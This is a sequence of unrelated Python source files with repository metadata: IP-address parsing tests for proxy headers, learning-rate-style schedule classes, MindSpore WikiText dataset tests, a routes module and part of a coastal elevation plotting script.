'177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_empty_x_forwarded_for_empty_x_real_ip_fallback_on_remote_addr(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_empty_x_forwarded_for_private_x_real_ip_fallback_on_remote_addr(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_private_x_forward_for_ip_addr(self): request = { 'X_FORWARDED_FOR': '127.0.0.1', 'REMOTE_ADDR': '', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_x_forwarded_for_singleton_hyphen_as_delimiter(self): request = { 'X-FORWARDED-FOR': '177.139.233.139', 'REMOTE-ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.139") class IPv4TrustedProxiesTestCase(TestCase): """Trusted Proxies - IP address Test""" def test_meta_none(self): request = { } ip = address_parser.get_trusted_ip(request) self.assertIsNone(ip) def test_http_x_forwarded_for_conf_settings(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.100', } ip = address_parser.get_trusted_ip(request) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_no_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=[]) self.assertIsNone(ip) def test_http_x_forwarded_for_single_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233.139']) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_single_proxy_with_right_most(self): request = { 'HTTP_X_FORWARDED_FOR': '177.139.233.139, 177.139.200.139, 198.84.193.157', } ip = address_parser.get_trusted_ip(request, right_most_proxy=True, trusted_proxies=['177.139.233.139']) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_multi_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233.138', '177.139.233.139']) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_all_proxies_in_subnet(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233']) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_all_proxies_in_subnet_2(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139']) self.assertEqual(ip, "198.84.193.157") def test_x_forwarded_for_single_proxy(self): request = { 'X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233.139']) self.assertEqual(ip, "198.84.193.157") def test_x_forwarded_for_single_proxy_hyphens(self): request = { 'X-FORWARDED-FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233.139']) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_and_x_forward_for_single_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '198.84.193.156, 177.139.200.139, 177.139.233.139', 'X_FORWARDED_FOR': '198.84.193.157, 177.139.200.139, 177.139.233.139', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['177.139.233.139']) self.assertEqual(ip, "198.84.193.156") class IPv6TestCase(TestCase): """IP address Test""" def test_http_x_forwarded_for_multiple(self): request = { 'HTTP_X_FORWARDED_FOR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf, 74dc::02ba', 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "3ffe:1900:4545:3:200:f8ff:fe21:67cf") def test_http_x_forwarded_for_multiple_bad_address(self): request = { 'HTTP_X_FORWARDED_FOR': 'unknown, ::1/128, 74dc::02ba', 'HTTP_X_REAL_IP': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_http_x_forwarded_for_singleton(self): request = { 'HTTP_X_FORWARDED_FOR': '74dc::02ba', 'HTTP_X_REAL_IP': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_http_x_forwarded_for_singleton_private_address(self): request = { 'HTTP_X_FORWARDED_FOR': '::1/128', 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_bad_http_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'HTTP_X_FORWARDED_FOR': 'unknown ::1/128', 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_empty_http_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_empty_http_x_forwarded_for_empty_x_real_ip_fallback_on_remote_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_empty_http_x_forwarded_for_private_x_real_ip_fallback_on_remote_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '::1/128', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_private_http_x_forward_for_ip_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '::1/128', 'HTTP_X_REAL_IP': '', 'REMOTE_ADDR': '', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_private_real_ip_for_ip_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '::1/128', 'REMOTE_ADDR': '', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_private_remote_addr_for_ip_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '', 'REMOTE_ADDR': '::1/128', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_missing_x_forwarded(self): request = { 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_missing_x_forwarded_missing_real_ip(self): request = { 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_missing_x_forwarded_missing_real_ip_mix_case(self): request = { 'REMOTE_ADDR': '74DC::02BA', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_private_remote_address(self): request = { 'REMOTE_ADDR': 'fe80::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_best_matched_real_ip(self): request = { 'HTTP_X_REAL_IP': '::1', 'REMOTE_ADDR': 'fe80::02ba', } ip = address_parser.get_ip(request) self.assertEqual(ip, "fe80::02ba") def test_x_forwarded_for_multiple(self): request = { 'X_FORWARDED_FOR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf, 74dc::02ba', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "3ffe:1900:4545:3:200:f8ff:fe21:67cf") def test_x_forwarded_for_multiple_bad_address(self): request = { 'X_FORWARDED_FOR': 'unknown, ::1/128, 74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_x_forwarded_for_singleton(self): request = { 'X_FORWARDED_FOR': '74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_x_forwarded_for_singleton_private_address(self): request = { 'X_FORWARDED_FOR': '::1/128', 'HTTP_X_REAL_IP': '74dc::02ba', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_bad_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'X_FORWARDED_FOR': 'unknown ::1/128', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "3ffe:1900:4545:3:200:f8ff:fe21:67cf") def test_empty_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "3ffe:1900:4545:3:200:f8ff:fe21:67cf") def test_empty_x_forwarded_for_empty_x_real_ip_fallback_on_remote_addr(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_empty_x_forwarded_for_private_x_real_ip_fallback_on_remote_addr(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': '74dc::02ba', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") def test_private_x_forward_for_ip_addr(self): request = { 'X_FORWARDED_FOR': '::1/128', 'REMOTE_ADDR': '', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_x_forwarded_for_singleton_hyphen_as_delimiter(self): request = { 'X-FORWARDED-FOR': '74dc::02ba', 'REMOTE-ADDR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "74dc::02ba") class IPv6TrustedProxiesTestCase(TestCase): """Trusted Proxies - IP address Test""" def test_http_x_forwarded_for_no_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf, 74dc::02ba', } ip = address_parser.get_trusted_ip(request, trusted_proxies=[]) self.assertIsNone(ip) def test_http_x_forwarded_for_single_proxy(self): request = { 'HTTP_X_FORWARDED_FOR': '3ffe:1900:4545:3:200:f8ff:fe21:67cf, 74dc::02ba', } ip = address_parser.get_trusted_ip(request, trusted_proxies=['74dc::02ba']) self.assertEqual(ip, "3ffe:1900:4545:3:200:f8ff:fe21:67cf")

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7

b6cc86ef3d8cb289f100c9ff4e0447e288b4089a

959

py

Python

algorithms/schedule.py

stormont/gym-experiments

84b4b220bf6a51edc5af3275420e0262cfedeb31

[ "MIT" ]

null

algorithms/schedule.py

stormont/gym-experiments

84b4b220bf6a51edc5af3275420e0262cfedeb31

[ "MIT" ]

1

2021-12-06T18:50:24.000Z

algorithms/schedule.py

stormont/gym-experiments

84b4b220bf6a51edc5af3275420e0262cfedeb31

[ "MIT" ]

null

class ExponentialSchedule: def __init__(self, start, end, step): self._value = start self._end = end self._step = step @property def value(self): return self._value def step(self): # Simple exponential multiplication step on epsilon (until the end value is reached) if self._step < 1: self._value = max(self._value * self._step, self._end) else: self._value = min(self._value * self._step, self._end) class LinearSchedule: def __init__(self, start, end, step): self._value = start self._end = end self._step = step @property def value(self): return self._value def step(self): # Simple linear change (until end value is met) if self._step < 0: self._value = max(self._value - self._step, self._end) else: self._value = min(self._value + self._step, self._end)

26.638889

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0.590198

120

959

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0.25

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0.097744

0.12782

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959

35

93

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null

1

0

1

0

null

0

1

0

7

8e29f680bbe6526ae2bc9c4f1334d37439e5d8c3

14,424

py

Python

tests/ut/python/dataset/test_datasets_wiki_text.py

PowerOlive/mindspore

bda20724a94113cedd12c3ed9083141012da1f15

[ "Apache-2.0" ]

1

2022-03-05T02:59:21.000Z

tests/ut/python/dataset/test_datasets_wiki_text.py

PowerOlive/mindspore

bda20724a94113cedd12c3ed9083141012da1f15

[ "Apache-2.0" ]

null

tests/ut/python/dataset/test_datasets_wiki_text.py

PowerOlive/mindspore

bda20724a94113cedd12c3ed9083141012da1f15

[ "Apache-2.0" ]

null

# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== import pytest import mindspore.dataset as ds from mindspore import log as logger from util import config_get_set_num_parallel_workers, config_get_set_seed FILE_DIR = '../data/dataset/testWikiText' def test_wiki_text_dataset_test(): """ Feature: Test WikiText Dataset. Description: read test data from a single file. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='test', shuffle=False) count = 0 test_content = [" no it was black friday ", " I am happy ", " finish math homework "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): logger.info("{}".format(i["text"])) strs = i["text"].item().decode("utf8") assert strs == test_content[count] count += 1 assert count == 3 def test_wiki_text_dataset_train(): """ Feature: Test WikiText Dataset. Description: read train data from a single file. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='train', shuffle=False) count = 0 train_content = [" go to china ", " I lova MindSpore ", " black white grapes "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): logger.info("{}".format(i["text"])) strs = i["text"].item().decode("utf8") assert strs == train_content[count] count += 1 assert count == 3 def test_wiki_text_dataset_valid(): """ Feature: Test WikiText Dataset. Description: read valid data from a single file. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='valid', shuffle=False) count = 0 valid_content = [" just ahead of them there was a huge fissure ", " zhejiang, china ", " MindSpore Ascend "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): logger.info("{}".format(i["text"])) strs = i["text"].item().decode("utf8") assert strs == valid_content[count] count += 1 assert count == 3 def test_wiki_text_dataset_all_file(): """ Feature: Test WikiText Dataset. Description: read data from all files. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='all') count = 0 for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): logger.info("{}".format(i["text"])) count += 1 assert count == 9 def test_wiki_text_dataset_num_samples_none(): """ Feature: Test WikiText Dataset. Description: read data with no num_samples input. Expectation: the data is processed successfully. """ # Do not provide a num_samples argument, so it would be None by default, which means all samples are read. data = ds.WikiTextDataset(FILE_DIR, usage='all') count = 0 for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): logger.info("{}".format(i["text"])) count += 1 assert count == 9 def test_wiki_text_dataset_shuffle_false_and_workers_4(): """ Feature: Test WikiText Dataset. Description: read data from a single file with shuffle is False and num_parallel_workers=4. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(4) original_seed = config_get_set_seed(987) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=False) count = 0 line = [" no it was black friday ", " go to china ", " just ahead of them there was a huge fissure ", " I am happy ", " I lova MindSpore ", " zhejiang, china ", " finish math homework ", " black white grapes ", " MindSpore Ascend "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_shuffle_false_and_workers_1(): """ Feature: Test WikiText Dataset. Description: Read data from a single file with shuffle is False and num_parallel_workers is 1. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(1) original_seed = config_get_set_seed(987) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=False) count = 0 line = [" no it was black friday ", " I am happy ", " finish math homework ", " go to china ", " I lova MindSpore ", " black white grapes ", " just ahead of them there was a huge fissure ", " zhejiang, china ", " MindSpore Ascend "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_shuffle_files_and_workers_4(): """ Feature: Test WikiText Dataset. Description: read data from a single file with shuffle is files and num_parallel_workers is 4. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(4) original_seed = config_get_set_seed(135) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=ds.Shuffle.FILES) count = 0 line = [" just ahead of them there was a huge fissure ", " go to china ", " no it was black friday ", " zhejiang, china ", " I lova MindSpore ", " I am happy ", " MindSpore Ascend ", " black white grapes ", " finish math homework "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_shuffle_files_and_workers_1(): """ Feature: Test WikiText Dataset. Description: read data from a single file with shuffle is files and num_parallel_workers is 1. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(1) original_seed = config_get_set_seed(135) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=ds.Shuffle.FILES) count = 0 line = [" just ahead of them there was a huge fissure ", " zhejiang, china ", " MindSpore Ascend ", " go to china ", " I lova MindSpore ", " black white grapes ", " no it was black friday ", " I am happy ", " finish math homework "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_shuffle_global4(): """ Feature: Test WikiText Dataset. Description: read data from a single file with shuffle is global. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(4) original_seed = config_get_set_seed(246) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=ds.Shuffle.GLOBAL) count = 0 line = [" MindSpore Ascend ", " go to china ", " I am happy ", " no it was black friday ", " just ahead of them there was a huge fissure ", " zhejiang, china ", " finish math homework ", " I lova MindSpore ", " black white grapes "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_shuffle_global1(): """ Feature: Test WikiText Dataset. Description: read data from a single file with shuffle is global. Expectation: the data is processed successfully. """ original_num_parallel_workers = config_get_set_num_parallel_workers(1) original_seed = config_get_set_seed(246) data = ds.WikiTextDataset(FILE_DIR, usage='all', shuffle=ds.Shuffle.GLOBAL) count = 0 line = [" MindSpore Ascend ", " go to china ", " I am happy ", " I lova MindSpore ", " black white grapes ", " finish math homework ", " zhejiang, china ", " no it was black friday ", " just ahead of them there was a huge fissure "] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 # Restore configuration ds.config.set_num_parallel_workers(original_num_parallel_workers) ds.config.set_seed(original_seed) def test_wiki_text_dataset_num_samples(): """ Feature: Test WikiText Dataset. Description: Test num_samples. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='all', num_samples=2) count = 0 for _ in data.create_dict_iterator(num_epochs=1, output_numpy=True): count += 1 assert count == 2 def test_wiki_text_dataset_distribution(): """ Feature: Test WikiText Dataset. Description: read data from a single file. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='all', num_shards=2, shard_id=1) count = 0 for _ in data.create_dict_iterator(num_epochs=1, output_numpy=True): count += 1 assert count == 5 def test_wiki_text_dataset_repeat(): """ Feature: Test WikiText Dataset. Description: Test repeat. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='test', shuffle=False) data = data.repeat(3) count = 0 line = [" no it was black friday ", " I am happy ", " finish math homework ", " no it was black friday ", " I am happy ", " finish math homework ", " no it was black friday ", " I am happy ", " finish math homework ",] for i in data.create_dict_iterator(num_epochs=1, output_numpy=True): strs = i["text"].item().decode("utf8") assert strs == line[count] count += 1 assert count == 9 def test_wiki_text_dataset_get_datasetsize(): """ Feature: Test WikiText Dataset. Description: Test get_datasetsize. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='test') size = data.get_dataset_size() assert size == 3 def test_wiki_text_dataset_to_device(): """ Feature: Test WikiText Dataset. Description: Test to_device. Expectation: the data is processed successfully. """ data = ds.WikiTextDataset(FILE_DIR, usage='test') data = data.to_device() data.send() def test_wiki_text_dataset_exceptions(): """ Feature: Test WikiText Dataset. Description: Test exceptions. Expectation: Exception thrown to be caught """ with pytest.raises(ValueError) as error_info: _ = ds.WikiTextDataset(FILE_DIR, usage='test', num_samples=-1) assert "num_samples exceeds the boundary" in str(error_info.value) with pytest.raises(ValueError) as error_info: _ = ds.WikiTextDataset("does/not/exist/no.txt") assert str(error_info.value) with pytest.raises(ValueError) as error_info: _ = ds.WikiTextDataset("") assert str(error_info.value) def exception_func(item): raise Exception("Error occur!") with pytest.raises(RuntimeError) as error_info: data = ds.WikiTextDataset(FILE_DIR) data = data.map(operations=exception_func, input_columns=["text"], num_parallel_workers=1) for _ in data.__iter__(): pass assert "map operation: [PyFunc] failed. The corresponding data files" in str(error_info.value) if __name__ == "__main__": test_wiki_text_dataset_test() test_wiki_text_dataset_train() test_wiki_text_dataset_valid() test_wiki_text_dataset_all_file() test_wiki_text_dataset_num_samples_none() test_wiki_text_dataset_shuffle_false_and_workers_4() test_wiki_text_dataset_shuffle_false_and_workers_1() test_wiki_text_dataset_shuffle_files_and_workers_4() test_wiki_text_dataset_shuffle_files_and_workers_1() test_wiki_text_dataset_shuffle_global4() test_wiki_text_dataset_shuffle_global1() test_wiki_text_dataset_num_samples() test_wiki_text_dataset_distribution() test_wiki_text_dataset_repeat() test_wiki_text_dataset_get_datasetsize() test_wiki_text_dataset_to_device() test_wiki_text_dataset_exceptions()

36.609137

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0.662784

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0.029841

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0.070872

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null

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0

1

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null

0

7

f3f3aab284eca245fbb4608d2ae5f7163ed540c9

113

py

Python

apps/routes.py

zpoint/HostMonitor

e543ff52b1a9172481b18a0232a23d164364ae09

[ "MIT" ]

1

2020-06-23T07:55:33.000Z

apps/routes.py

zpoint/HostMonitor

e543ff52b1a9172481b18a0232a23d164364ae09

[ "MIT" ]

null

apps/routes.py

zpoint/HostMonitor

e543ff52b1a9172481b18a0232a23d164364ae09

[ "MIT" ]

null

# -*- coding: utf-8 -*- from apps.es.view import * from apps.influxdb.view import * from apps.mix.view import *

18.833333

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5

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true

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null

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1

0

1

0

8

6d1a9e6f2a10f844328a9043a95a04432a5c2cf7

7,750

py

Python

Coastal_plotting.py

simon-m-mudd/LSDMappingTools

d9137710ea18e54f3dc5b6782c5696cafdd2999f

[ "MIT" ]

34

2017-01-31T17:03:26.000Z

2021-09-15T17:23:21.000Z

Coastal_plotting.py

simon-m-mudd/LSDMappingTools

d9137710ea18e54f3dc5b6782c5696cafdd2999f

[ "MIT" ]

14

2017-01-11T19:45:08.000Z

2020-11-03T16:36:38.000Z

Coastal_plotting.py

LSDtopotools/LSDMappingTools

d9137710ea18e54f3dc5b6782c5696cafdd2999f

[ "MIT" ]

21

2015-11-26T10:24:19.000Z

2021-09-15T17:23:22.000Z

# -*- coding: utf-8 -*- """ Created on Tue Aug 23 10:25:29 2016 @author: smudd """ import numpy as np import LSDPlottingTools as LSDP import LSDOSystemTools as LSDOst from matplotlib import rcParams from glob import glob def BedPlotAutomator(Dirname): # This is used to tell the model we want a profile perpendicular to shore axis = 1 for fname in glob(Dirname+"*_BedElev.asc"): # first we need the filename without the path NoDirFname = LSDOst.GetFileNameNoPath(fname) print "fname is: "+ NoDirFname # Now get the prefix of the file splitfname = NoDirFname.split('_BedElev.asc') fprefix = splitfname[0] ElevationSwaths(Dirname, NoDirFname, axis, fprefix) # now do the bed thickness for fname in glob(Dirname+"*_BedThick.asc"): # first we need the filename without the path NoDirFname = LSDOst.GetFileNameNoPath(fname) print "fname is: "+ NoDirFname # Now get the prefix of the file splitfname = NoDirFname.split('_BedThick.asc') fprefix = splitfname[0] ElevationSwaths(Dirname, NoDirFname, axis, fprefix) #=============================================================================== #=============================================================================== def ElevationSwaths(path, filename, axis, fprefix): Fileformat = 'png' # get the path to the raster file NewPath = LSDOst.AppendSepToDirectoryPath(path) FileName = NewPath+filename # get the data vectors means,medians,std_deviations,twentyfifth_percentile,seventyfifth_percentile = LSDP.SimpleSwath(path, filename, axis) print "Means shape is: " print means.shape x_vec,y_vec = LSDP.GetLocationVectors(FileName) print "X shape is: " print x_vec.shape print "Y shape is: " print y_vec.shape import matplotlib.pyplot as plt import matplotlib.lines as mpllines from mpl_toolkits.axes_grid1 import AxesGrid label_size = 20 #title_size = 30 axis_size = 28 # Set up fonts for plots rcParams['font.family'] = 'sans-serif' rcParams['font.sans-serif'] = ['Liberation Sans'] rcParams['font.size'] = label_size # make a figure, sized for a ppt slide fig = plt.figure(1, facecolor='white',figsize=(10,7.5)) gs = plt.GridSpec(100,75,bottom=0.1,left=0.1,right=0.9,top=1.0) ax = fig.add_subplot(gs[10:100,10:75]) if axis == 0: dir_vec = x_vec else: dir_vec = y_vec # get the distance from shore dist_from_shore = np.subtract(dir_vec[-1],dir_vec) min_sd = np.subtract(means,std_deviations) plus_sd = np.add(means,std_deviations) ax.plot(dist_from_shore,means, linewidth = 2.5, color = "black") #ax.fill_between(dist_from_shore, twentyfifth_percentile, seventyfifth_percentile, facecolor='green', alpha = 0.7, interpolate=True) ax.fill_between(dist_from_shore, min_sd, plus_sd, facecolor='blue', alpha = 0.25, interpolate=True) ax.set_xlim(dist_from_shore[0],dist_from_shore[-1]) ax.annotate('Standard deviation envelope', xy=(dist_from_shore[10],plus_sd[10]), xycoords='data', xytext=(0.1, 0.8), textcoords='axes fraction', size=label_size, # bbox=dict(boxstyle="round", fc="0.8"), arrowprops=dict(arrowstyle="simple", fc="0.6", ec="none", connectionstyle="arc3,rad=0.3"), ) ax.spines['top'].set_linewidth(2) ax.spines['left'].set_linewidth(2) ax.spines['right'].set_linewidth(2) ax.spines['bottom'].set_linewidth(2) #ax.tick_params(axis='both', width=1) plt.xlabel('Distance from shore (m)', fontsize = axis_size) plt.ylabel('Bed elevation relative to MSL (m)', fontsize = axis_size) plt.title(fprefix) # This gets all the ticks, and pads them away from the axis so that the corners don't overlap ax.tick_params(axis='both', width=2, pad = 10) for tick in ax.xaxis.get_major_ticks(): tick.set_pad(10) #plt.show() plt.savefig(NewPath+fprefix+"_BedElev.png",format = Fileformat) plt.clf() def BedThickSwaths(path, filename, axis, fprefix): Fileformat = 'png' # get the path to the raster file NewPath = LSDOst.AppendSepToDirectoryPath(path) FileName = NewPath+filename # get the data vectors means,medians,std_deviations,twentyfifth_percentile,seventyfifth_percentile = LSDP.SimpleSwath(path, filename, axis) print "Means shape is: " print means.shape x_vec,y_vec = LSDP.GetLocationVectors(FileName) print "X shape is: " print x_vec.shape print "Y shape is: " print y_vec.shape import matplotlib.pyplot as plt import matplotlib.lines as mpllines from mpl_toolkits.axes_grid1 import AxesGrid label_size = 20 #title_size = 30 axis_size = 28 # Set up fonts for plots rcParams['font.family'] = 'sans-serif' rcParams['font.sans-serif'] = ['Liberation Sans'] rcParams['font.size'] = label_size # make a figure, sized for a ppt slide fig = plt.figure(1, facecolor='white',figsize=(10,7.5)) gs = plt.GridSpec(100,75,bottom=0.1,left=0.1,right=0.9,top=1.0) ax = fig.add_subplot(gs[10:100,10:75]) if axis == 0: dir_vec = x_vec else: dir_vec = y_vec # get the distance from shore dist_from_shore = np.subtract(dir_vec[-1],dir_vec) min_sd = np.subtract(means,std_deviations) plus_sd = np.add(means,std_deviations) ax.plot(dist_from_shore,means, linewidth = 2.5, color = "black") #ax.fill_between(dist_from_shore, twentyfifth_percentile, seventyfifth_percentile, facecolor='green', alpha = 0.7, interpolate=True) ax.fill_between(dist_from_shore, min_sd, plus_sd, facecolor='red', alpha = 0.25, interpolate=True) ax.set_xlim(dist_from_shore[0],dist_from_shore[-1]) ax.annotate('Standard deviation envelope', xy=(dist_from_shore[10],plus_sd[10]), xycoords='data', xytext=(0.1, 0.8), textcoords='axes fraction', size=label_size, # bbox=dict(boxstyle="round", fc="0.8"), arrowprops=dict(arrowstyle="simple", fc="0.6", ec="none", connectionstyle="arc3,rad=0.3"), ) ax.spines['top'].set_linewidth(2) ax.spines['left'].set_linewidth(2) ax.spines['right'].set_linewidth(2) ax.spines['bottom'].set_linewidth(2) #ax.tick_params(axis='both', width=1) 